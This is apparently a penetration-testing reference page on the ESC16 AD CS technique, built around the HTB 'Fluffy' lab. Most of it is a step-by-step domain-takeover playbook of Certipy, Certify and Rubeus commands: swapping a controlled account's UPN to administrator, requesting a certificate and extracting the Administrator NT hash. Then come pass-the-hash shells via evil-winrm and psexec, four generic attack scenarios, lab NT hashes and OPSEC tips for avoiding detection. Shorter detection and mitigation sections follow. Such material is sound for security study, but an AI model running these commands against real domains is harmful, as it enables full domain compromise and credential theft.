ESC16 — Security Extension Disabled on CA (Globally)
Quick Reference
| Field | Value |
|---|---|
| Category | CA-Level Configuration Abuse |
| Difficulty | Medium |
| Pre-requisites | szOID_NTDS_CA_SECURITY_EXT in CA DisableExtensionList + GenericWrite on enrollable account |
| Tools | Certipy v5+, BloodHound |
| OPSEC Noise | Medium — UPN swap generates 4738 events |
| One-liner | CA globally disables SID security extension → KDC falls back to UPN matching → swap controlled account’s UPN to administrator → request cert → authenticate as admin. |
ESC16 was introduced with Certipy v5 by Oliver Lyak and is one of the newest ADCS attack techniques. The vulnerability exists when the CA has been configured to globally disable the szOID_NTDS_CA_SECURITY_EXT extension (1.3.6.1.4.1.311.25.2) — also known as the SID security extension. This extension was Microsoft’s patch response to Certifried (CVE-2022-26923) — it embeds the requester’s objectSid into every issued certificate, allowing the KDC to perform strong certificate binding and verify that the certificate identity matches the AD object.
When this extension is disabled at the CA level, every single certificate issued by that CA lacks the SID binding — making the KDC fall back to UPN-based authentication for all certificates. This means the KDC trusts whatever UPN is embedded in the cert without verifying the objectSid — and since you can temporarily swap a controlled account’s UPN to administrator, you can get a legitimately CA-signed certificate that the DC accepts as proof you are Administrator.
This is effectively ESC6’s post-patch bypass — it achieves the same outcome through a different mechanism.
The Core Mechanism
The CA stores disabled extensions in a registry key:
HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-NAME>\PolicyModules\
CertificateAuthority_MicrosoftDefault.Policy
DisableExtensionList = 1.3.6.1.4.1.311.25.2
When szOID_NTDS_CA_SECURITY_EXT is in this list, no certificate issued by this CA will ever contain a SID extension — regardless of template configuration, regardless of StrongCertificateBindingEnforcement settings on the KDC. The SID extension simply never gets embedded at issuance time.
Required Conditions
| Condition | Where to Check |
|---|---|
szOID_NTDS_CA_SECURITY_EXT in CA’s DisableExtensionList | CA output: Security Extension: Disabled |
You have GenericWrite or WriteProperty over at least one domain account | BloodHound ACE edges / certipy output |
| That account can enroll in a Client Auth template | Template Enrollment Rights includes the account or its group |
Request Disposition: Issue | CA config |
💡 The
GenericWriteaccount does not need to be privileged. On Fluffy, you hadGenericWriteoverca_svc— a service account, not an admin. That was enough.
Step 0 — Enumeration
# Standard scan
certipy-ad find -u 'lowpriv@domain.htb' -p 'Password123!' \
-dc-ip $TARGET -vulnerable -stdout
# With hash (PtH) — format is -hashes :NTHASH (leading colon = empty LM)
certipy-ad find -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \
-dc-ip $TARGET -vulnerable -stdout
[!bug]
cannot import name 'asn1' from 'cryptography.hazmat'This is not a command error — Certipy v5 needs a newercryptographythan the stale one in~/.local. Certipy runs but every operation dies on import. Fix by reinstalling Certipy in an isolated environment so it pulls its own dependency set:pipx install certipy-ad # or: uv tool install certipy-adIf you must keep the system install, upgrade the shadowing library:
pip install --user --upgrade 'cryptography>=44' asn1crypto. Confirm withcertipy-ad version.
What Vulnerable ESC16 Output Looks Like
Certificate Authorities
0
CA Name : fluffy-DC01-CA
DNS Name : DC01.fluffy.htb
Web Enrollment
HTTP Enabled : False ← ESC8 not available
HTTPS Enabled : False
User Specified SAN : Disabled ← ESC6 not available
Request Disposition : Issue
Enforce Encryption for Requests : Enabled ← ESC11 not available
[!] Vulnerabilities
ESC16 : Security extension is disabled.
💡 This is exactly what Fluffy showed — ESC8, ESC6 and ESC11 all closed off, but ESC16 present. The CA had the SID extension globally disabled.
[!note] The real tell is
Disabled Extensions, and an empty template list is normal Depending on version, Certipy may not print a tidyESC16 : Security extension is disabledline. The definitive indicator is on the CA object:Disabled Extensions : 1.3.6.1.4.1.311.25.2
1.3.6.1.4.1.311.25.2isszOID_NTDS_CA_SECURITY_EXT. If it appears inDisabled Extensions, the CA is ESC16-vulnerable — full stop.Running with
-vulnerableand seeingCertificate Templates : [!] Could not find any certificate templatesis expected, not a failure.-vulnerablefilters to template-level findings (ESC1/2/3/4/9/13/15…); ESC16 is a CA-wide flaw, so it shows under the CA config while the filtered template list is empty. To choose a template to enrol in, re-run without-vulnerableand pick one with a Client Authentication / Smart Card Logon / PKINIT EKU (e.g.User).Harmless noise in the same run:
Failed to connect to remote registry ... Trying again(RRP starts the service and retries) andError checking web enrollment: timed out(Web Enrollment isEnabled: False— only relevant to ESC8).
[!warning] The
ESC16verdict only prints if you authenticate as an account that can enroll This is the #1 reason people seeDisabled Extensions : 1.3.6.1.4.1.311.25.2but no[!] Vulnerabilities → ESC16line. Certipy gates the verdict (find.py):if disabled_extensions and will_issue and user_can_enroll: # ← user_can_enroll vulnerabilities["ESC16"] = "Security Extension is disabled."
user_can_enrollmeans the account in-uholds the Enroll right on the CA. On Fluffy the CA grantsEnrolltoCert Publishers(andAdministrators) — andca_svcis in Cert Publishers,winrm_svcis not.# As winrm_svc → Disabled Extensions shown, but NO ESC16 line (winrm_svc can't enroll) certipy-ad find -u winrm_svc@fluffy.htb -hashes :33bd... -dc-ip $DC -vulnerable -stdout # As ca_svc → ESC16 verdict prints (ca_svc enrolls via Cert Publishers) certipy-ad find -u ca_svc@fluffy.htb -hashes :ca0f... -dc-ip $DC -vulnerable -stdoutEnumerate ESC16 as the enroller, not the writer. Either way
Disabled Extensions : 1.3.6.1.4.1.311.25.2alone already proves the CA is vulnerable — the verdict line is just certipy confirming you can reach it.
Full Attack Chain — Linux (Certipy v5.1.0)
The attack is a 4-step chain: read + hijack the UPN → request the cert as the controlled account → restore the UPN → authenticate. Commands below use the real Fluffy values (winrm_svc hash 33bd09..., ca_svc hash ca0f4f...).
[!warning]
accountactions arecreate/read/update/deleteThere is nolookupaction. Usereadto view an account andupdateto change it. The action is a positional argument at the end of the command, and-user <SAM>is required.
[!note] Why two different accounts? (This is not overcomplication) The chain uses two accounts for two distinct jobs, and on Fluffy you cannot merge them:
- The writer (
winrm_svc) — the account that can write the target’suserPrincipalName. On Fluffy this right is not held by winrm_svc directly — it belongs to theService Accountsgroup, which hasGenericWriteoverca_svc.winrm_svcis a member of that group, so it inherits the write. It runs everyaccount read/updatecommand (authenticated as-u winrm_svc, targeting-user ca_svc).- The enroller (
ca_svc) — the account with enrollment rights on the CA (here via Cert Publishers). It runs thereqcommand (authenticated as-u ca_svc), because its UPN is the one you hijacked.Why the ca_svc hash alone is not enough: having
ca_svc’s hash lets you authenticate as ca_svc, but ca_svc is not a member ofService Accounts— it is the target of that group’sGenericWrite, so it cannot rename itself. An account cannot rewrite its own UPN unless it explicitly holds that right. The rename right lives on the group; your way into the group iswinrm_svc. Hash = who you are; the ACE = what you may do.When one account is enough: if a single account can both enroll and have its UPN written by you (e.g. a computer account you created via MAQ — see Scenario 3 — or any account you have
GenericWriteover that also enrolls), use it for every step and the-uis identical throughout. Fluffy needs two only because ca_svc holds the enrollment right while a different principal (the Service Accounts group, reachable via winrm_svc) holds the write over ca_svc.Do you even need the
readstep? No — it only records the original UPN so you can restore it exactly in Step 3. If you already know it (ca_svc@fluffy.htb), skip straight to theupdate. The restore in Step 3 is not optional, though:certipy authfails withKDC_ERR_CLIENT_NAME_MISMATCHuntil the controlled account stops squatting the victim’s UPN (see Step 3). The.pfxstays valid regardless; the auth does not work until you restore.
Step 1 — Read, then hijack ca_svc’s UPN
You need write over the controlled account’s userPrincipalName (here winrm_svc can write ca_svc because the Service Accounts group holds GenericWrite over ca_svc and winrm_svc is a member — ca_svc itself is not, so it cannot rename itself), and ca_svc must be able to enrol in a Client Auth template (e.g. User).
# Read the current UPN first so you can restore it exactly
certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \
-dc-ip $TARGET -user ca_svc read
# Set ca_svc's UPN to the target identity
certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \
-dc-ip $TARGET -user ca_svc -upn administrator update
[!warning] Do Step 2 immediately, and always restore in Step 3 before Step 4 The UPN swap is a live AD change. Request the cert right away, then restore in Step 3 before you authenticate — the restore is mandatory, not just hygiene (Step 4 fails with a name mismatch otherwise), and it also avoids breaking
ca_svcauth and shrinks the detection window.
Step 2 — Request a certificate as ca_svc
Enrol as ca_svc (whose UPN is now administrator) in a Client Auth template. Because the CA strips the SID extension (ESC16), the issued cert maps by UPN, so it authenticates as Administrator.
certipy-ad req -u ca_svc -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 \
-dc-ip $TARGET -target dc01.fluffy.htb -ca fluffy-DC01-CA -template User
# → Got certificate with UPN 'administrator' ; saved administrator.pfx
Step 3 — Restore the UPN — REQUIRED before you authenticate
certipy-ad account -u 'winrm_svc@fluffy.htb' -hashes 33bd09dcd697600edf6b3a7af4875767 \
-dc-ip $TARGET -user ca_svc -upn ca_svc@fluffy.htb update
[!danger] This is not just cleanup — Step 4 FAILS without it While
ca_svcstill holdsuserPrincipalName = administrator, the cert’s UPNadministratormaps to ca_svc, not to the real Administrator (ESC16 certs carry no SID, so the KDC maps purely by name — and your account is squatting that name). Authenticating then dies with:[-] Name mismatch between certificate and user 'administrator'which is the KDC returning
KDC_ERR_CLIENT_NAME_MISMATCH. Restore the UPN first, so nothing else claimsadministrator; the KDC then falls back to the built-in Administrator’ssAMAccountNameand the auth maps correctly. The.pfxitself never expires from this — restoring does not invalidate it (identity is locked in at signing) — but the authentication will keep failing until you restore. Order is fixed: swap → req → restore → auth.
Step 4 — Authenticate with the cert for the admin NT hash
certipy-ad auth -dc-ip $TARGET -pfx administrator.pfx -u administrator -domain fluffy.htb
# → Got hash for 'administrator@fluffy.htb': aad3b435...:8da83a3fa618b6e3a00e93f676c92a6e
[!warning] Clock skew (Fluffy)
certipy authuses PKINIT and does not self-correct skew. If it throwsKRB_AP_ERR_SKEW, prefixfaketime(see faketime-cheatsheet) or sync your clock:sudo rdate -n $TARGET.faketime -f '+7h' certipy-ad auth -dc-ip $TARGET -pfx administrator.pfx -u administrator -domain fluffy.htb
Step 5 — Shell
Preferred — pass-the-hash over WinRM (no DCOM, no Kerberos):
evil-winrm -i $TARGET -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e
Kerberos wmiexec — only if RPC/DCOM is reachable:
export KRB5CCNAME=administrator.ccache
wmiexec.py -k -no-pass DC01.fluffy.htb
[!warning]
wmiexecneeds DCOM (port 135 + a dynamic high RPC port) — often filtered on a DC On Fluffy,135is filtered while445and5985are open, sowmiexec.pynegotiates SMB then dies withCould not connect: timed outon the DCOM leg. That is a port/firewall problem, not a bad ticket. Use a method that fits the open ports:
- WinRM 5985 →
evil-winrm(above) — cleanest with the NT hash.- SMB 445 →
psexec.py/atexec.py/smbexec.py, e.g.psexec.py -hashes :8da83a3fa618b6e3a00e93f676c92a6e administrator@$TARGET.Pass-the-hash (NTLM) also sidesteps clock skew. Any
-k/Kerberos tool fails withKRB_AP_ERR_SKEWif your clock is >5 min off the DC — sync first (sudo ntpdate -u $TARGETorsudo rdate -n $TARGET) or prefixfaketime. The-H <hash>methods above use NTLM and don’t care about the clock.
Generic Exploitation — Every Way to Do It
Fluffy is only one shape of ESC16. Strip it to the essentials: you need an account you can (1) authenticate as so it can enroll, and whose (2) userPrincipalName you can set to a victim. Solve those two sub-problems independently and any combination works. The pattern is always write the UPN → enroll → restore → auth; only how you obtain the account and who writes the UPN changes.
The two sub-problems
(1) An enroll-capable account you can authenticate as. Any account with enrollment rights on a Client-Auth template — the default User template lets all Domain Users enroll. You obtain one by:
| Method | Requirement | Result |
|---|---|---|
| Already have creds | you hold its password / NT hash | ready to enroll (Fluffy: ca_svc) |
| Shadow Credentials | GenericWrite/GenericAll/AddKeyCredentialLink over it | PKINIT → its NT hash |
| Password reset | ForceChangePassword/GenericAll over it | set a password you know |
| Create one | ms-DS-MachineAccountQuota > 0 (default 10) | a computer account you fully own |
(2) Write access to that account’s userPrincipalName:
| Method | Requirement |
|---|---|
| Direct ACL | GenericWrite / GenericAll / WriteProperty(userPrincipalName) over the account |
| Ownership | you created the account (MAQ) → you own every attribute |
| Separate writer | a different principal holds the write edge (Fluffy: winrm_svc → ca_svc) |
If one account satisfies both, it is a one-account attack. If the write comes from a different principal, it is two. Nothing else changes.
Scenario matrix
| # | What you hold | Enroll as | Who writes the UPN | Accounts |
|---|---|---|---|---|
| 1 | GenericAll/GenericWrite over target T (no creds yet) | T after Shadow Creds | you (over T) | one |
| 2 | Creds for E + separate writer W with GenericWrite→E | E | W | two (Fluffy) |
| 3 | MachineAccountQuota > 0 | new EVILPC$ | you (own it) | one (created) |
| 4 | GenericAll/ForceChangePassword over user T | T after pw reset | you (over T) | one |
Scenario 1 — One account you have GenericWrite/GenericAll over (no creds yet)
A single control primitive does the whole chain: shadow-cred it for a hash, then swap its UPN and enroll as it.
# 0. Confirm ESC16
certipy-ad find -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -vulnerable -stdout
# 1. Recover the target's hash via Shadow Credentials
certipy-ad shadow auto -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -dc-host dc01.domain.htb -account target_svc
# → NT hash for target_svc
# 2. Hijack its UPN to the victim
certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user target_svc -upn administrator update
# 3. Enroll AS the target (its UPN is now administrator)
certipy-ad req -u target_svc -hashes :<target_hash> -dc-ip $DC -target dc01.domain.htb -ca 'DOMAIN-CA' -template User
# 4. Restore the UPN, then authenticate with the cert
certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user target_svc -upn 'target_svc@domain.htb' update
certipy-ad auth -pfx administrator.pfx -u administrator -domain domain.htb -dc-ip $DC
Scenario 2 — Two accounts (the Fluffy shape)
Writer ≠ enroller — you hold creds for both. Generic form of the full chain above:
certipy-ad account -u writer@domain.htb -hashes :<writer_hash> -dc-ip $DC -user enroller -upn administrator update
certipy-ad req -u enroller -hashes :<enroller_hash> -dc-ip $DC -target ca.domain.htb -ca 'DOMAIN-CA' -template User
certipy-ad account -u writer@domain.htb -hashes :<writer_hash> -dc-ip $DC -user enroller -upn 'enroller@domain.htb' update
certipy-ad auth -pfx administrator.pfx -u administrator -domain domain.htb -dc-ip $DC
Scenario 3 — MachineAccountQuota (bring your own account)
No pre-existing writable account required if you can add machines. You own what you create, so you control its UPN outright.
# 1. Create a computer account you fully control
certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user 'EVILPC$' -pass 'Passw0rd!' create
# (equivalents: addcomputer.py -computer-name EVILPC$ ... / Powermad New-MachineAccount)
# 2. Set its UPN to the victim
certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user 'EVILPC$' -upn administrator update
# 3. Enroll as EVILPC$ in a template it can enroll in
certipy-ad req -u 'EVILPC$' -p 'Passw0rd!' -dc-ip $DC -target ca.domain.htb -ca 'DOMAIN-CA' -template User
# 4. Clear EVILPC$'s UPN BEFORE auth (else the cert maps back to EVILPC$, not the victim)
certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user 'EVILPC$' -upn 'EVILPC$@domain.htb' update
# (or just delete the machine: certipy-ad account ... -user 'EVILPC$' delete)
# 5. Auth
certipy-ad auth -pfx administrator.pfx -u administrator -domain domain.htb -dc-ip $DC
Computer accounts have no UPN by default — setting one is exactly the ESC16 lever. Enroll in a template whose enrollment scope includes computers (or
Domain Computers), or one that emits the UPN.
Scenario 4 — ForceChangePassword / GenericAll over a user
# 1. Reset the target's password (any of these, per the right you hold)
certipy-ad account -u 'you@domain.htb' -p 'Pass' -dc-ip $DC -user target_user -pass 'NewPass123!' update
# equivalents: net rpc password / bloodyAD set password / pth changepasswd
# 2-4. Continue exactly as Scenario 1 from the UPN swap, authenticating as target_user with the new password.
Choosing the victim and the template
- Victim is any privileged identity, not just
administrator— any Domain Admin or DA-equivalent works. Use the baresAMAccountNameas the UPN value (e.g.administrator, notadministrator@domain.htb) so it matches the victim’s implicit UPN. This only works if the victim has no explicituserPrincipalNamealready set (the built-in Administrator usually does not); if it does, set your controlled account’s UPN to that exact string instead. - Template must carry a Client Authentication, Smart Card Logon, or PKINIT EKU and permit your enroll account to enroll. Default
User(for users) andMachine(for computers) normally qualify. Machine/computer certificates map by DNS, so when enrolling with a computer account for a UPN-based ESC16, prefer a user-style template or one that emits the UPN. - Any CA on the domain with ESC16 set is usable — you are not tied to the CA that issued other certs.
certipy find -vulnerablelists every affected CA; pass the right-ca/-target.
Windows tooling (Certify + Rubeus)
# Enumerate
Certify.exe find /vulnerable
# Swap the UPN with native tooling, then request:
Set-ADUser target_svc -UserPrincipalName administrator # or PowerView Set-DomainObject
Certify.exe request /ca:CA-HOST\CA-NAME /template:User # run as target_svc
Set-ADUser target_svc -UserPrincipalName target_svc@domain.htb # restore
# Convert + authenticate
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-pw> /ptt
ESC16 Visual Attack Flow (Fluffy-style)
[winrm_svc ∈ Service Accounts group ─ group has GenericWrite over ca_svc]
│ (ca_svc cannot rename itself; winrm_svc inherits the write via the group)
│ certipy account -u winrm_svc -user ca_svc -upn administrator update
▼
[ca_svc.userPrincipalName = "administrator"] ← Temporary
│
│ certipy req -u ca_svc -template User
│ CA issues cert — reads UPN = "administrator"
│ No SID extension embedded (ESC16)
▼
[administrator.pfx] ← Signed by CA with UPN = administrator
│
│ certipy account -user ca_svc -upn ca_svc@fluffy.htb update
▼
[UPN restored] ← REQUIRED before auth (else cert maps back to ca_svc); .pfx still valid forever
│
│ certipy auth -pfx administrator.pfx
▼
[TGT + NT Hash for Administrator]
│
▼
[DOMAIN OWNED]
ESC16 vs ESC9 — The Relationship
ESC16 is the CA-level version of ESC9. The difference:
| ESC9 | ESC16 | |
|---|---|---|
| Where flag is set | Per-template: CT_FLAG_NO_SECURITY_EXTENSION | CA-wide: DisableExtensionList |
| Templates affected | Only templates with the flag | Every template on that CA |
| Certipy detects as | ESC9 on specific template | ESC16 on CA object |
| Attack chain | UPN swap → req → restore | UPN swap → req → restore (identical) |
| Introduced | SpecterOps 2021 | Oliver Lyak, Certipy v5, 2024 |
ESC16 vs ESC6 — Post-Patch Equivalence
| ESC6 | ESC16 | |
|---|---|---|
| Mechanism | CA accepts user-specified SAN at enrollment | CA doesn’t embed SID — KDC falls back to UPN matching |
| Post-KB5014754 | Blocked if StrongCertificateBindingEnforcement = 2 | ✅ Still works — SID is never in cert so enforcement is bypassed at source |
| Requires UPN swap | ❌ — inject SAN directly | ✅ — must temporarily swap UPN |
| Modern relevance | Largely historical | ✅ Current and dangerous |
Detection Indicators
- Event ID 4738 — User account changed — specifically watch for
userPrincipalNameattribute being modified on service or machine accounts - Rapid pair of 4738 events — UPN changed then immediately changed back within seconds is the ESC16 fingerprint
- Event ID 4887 — Certificate issued where the UPN in the cert differs from the account’s permanent UPN in AD
- CA registry audit — Alert on any modification to the
DisableExtensionListregistry value - BloodHound —
GenericWriteedges from low-priv principals to accounts with enrollment rights are the pre-condition indicator
Mitigation
- Remove
szOID_NTDS_CA_SECURITY_EXTfromDisableExtensionList— this is the direct fix; the SID extension must be re-enabled:# On the CA server certutil -setreg CA\DisableExtensionList - net stop certsvc && net start certsvc - Set
StrongCertificateBindingEnforcement = 2on all DCs — enforces SID validation on cert auth - Audit
GenericWriteACEs — Any low-priv principal withGenericWriteover an account that can enroll in auth templates is a pre-condition for ESC16 - Monitor UPN changes on accounts that hold enrollment rights — UPN modifications are rare and should always alert
- Re-issue all certificates after enabling the SID extension — existing certs without objectSid remain exploitable until they expire
OPSEC Considerations
| Action | Event Generated | Noise Level |
|---|---|---|
| UPN swap on controlled account | Event ID 4738 (User Account Changed) | 🟡 Medium |
| Certificate request | Event ID 4887 on CA | 🟢 Low |
| UPN restore | Event ID 4738 (second occurrence) | 🟡 Medium |
| PKINIT authentication | Event ID 4768 (TGT request) | 🟢 Low |
⚠️ The rapid pair of 4738 events (UPN changed → UPN restored within seconds) is the primary detection fingerprint. Minimize the time between Steps 3–5. The certificate request itself is low-noise since it goes through a legitimate template.